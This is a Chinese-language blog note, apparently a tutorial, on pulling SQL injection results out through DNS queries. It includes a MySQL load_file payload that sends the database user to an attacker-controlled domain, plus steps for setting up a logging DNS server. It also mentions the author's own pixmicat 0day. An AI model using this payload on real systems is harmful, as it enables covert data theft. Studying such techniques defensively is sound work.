笔记: Data Retrieval over DNS in SQL Injection Attacks
0x01
在 WooYun Zone 看到这么一个案例:http://www.wooyun.org/bugs/wooyun-2013-044473,一个非常有意思的获取注入结果的方式,然后找到这么一篇 paper 详细的讲述了利用方式,姑且我做一个笔记。
首先要了解的是 DNS 的查询流程:
首先我们向 DNS 服务器请求查询 test.loli.club,DNS 服务器再向上一层的 DNS 服务器请求,返回 NS 服务器的地址,然后 DNS 服务器向 NS 服务器请求查询 test.loli.club 的 IP 地址,接着 NS 服务器返回目标的 IP,最终返回给用户。
作为攻击者,我们可以控制的几个变量是:
- 查询的域名
- 域名的 NS 记录
- NS 记录指向的 NS 服务器
一般来说,NS 记录在域名注册商那里就可以修改。NS 服务器就是一个 DNS Server,所以很方便的可以自己搭建。
不过好像要进行下去的前提是你要买个域名_(:з」∠)_
0x02
在几年之前,135/139 端口抓鸡盛行的时候,有一种叫做 IPC 抓鸡的方式。我们可以用:
net use \\10.211.55.3\ipc$
来建立 IPC 空链接。此处的 IP 也可以是域名,就像:
net use \\ricter.me\cee
我们利用 Wireshark 抓包,来查看是否进行 DNS 查询。首先运行命令:
然后可以很清晰的看到查询了 baka.loli.club。
OK,到这里也没有什么问题。
接下来,对于 MySQL 熟悉的人可能会知道 MySQL 有一个 load_file 的 function,可以用来读取文件。实际上,这个函数在 Windows 下也可以用来访问类似于 \\10.211.55.3\ipc$ 这样的地址。
我们进入 MySQL command line,然后运行:
select load_file(concat('\\\\', user(), '.loli.club\\owo'));
然后我们在 Wireshark 里发现:
好像很有道理的样子呢 (๑`・ᴗ・´๑)
此外,对于 MSSQL、Oracle 还有 PostgreSQL 的利用方式可以查看文章开头的 paper,由于本地我只有 MySQL 环境所以我也懒的测试别的了_(:3
不过到现在我们还没有讲到具体怎么获取到我们想要的数据。
再看文章开头,我们讲的攻击者可以控制的三个变量,我们可以将查询的域名(变量 1)的 NS 服务器改为我们控制的 NS 服务器(变量 2、3),然后获取到查询的域名的地址,这样的话就可以具体的得到注入得到的结果了。
0x03
- 修改域名的 NS 服务器,指向可以控制的 DNS 服务器。此处我在 Godaddy 上修改我的萝莉俱乐部为我的 Blog 的域名:
- 在 DNSPod 上添加 record 指向我的服务器:
- 接着在我服务器上用 https://github.com/RockyZ/SimpleDNSServer 这个小工具来接受 DNS 查询,
sudo python SimpleDNSServer.py
。
如图成功获取到数据:
不过因为我们的 NS 就是这个服务器,所以每次查询都会循环查询自己,差点给我炸掉,所以我修改了一下。
其中 Filter string 是过滤掉无用的查询。
4. 随便找一个注入点,来测试是否可以成功获取到数据。当然,目标的环境要求比较苛刻,需要 Windows 服务器,并且 MySQL 需要是 root 权限。
这就用我前几天挖的 pixmicat 的 0day 好了,是一个盲注。
我们先按照上面的步骤搭建环境,然后发送 payload:
然后在服务器上查看回显:
于是这个洞从一个鸡肋盲注就变成了一个可以分分钟拿到数据的 SQL Injection 了ww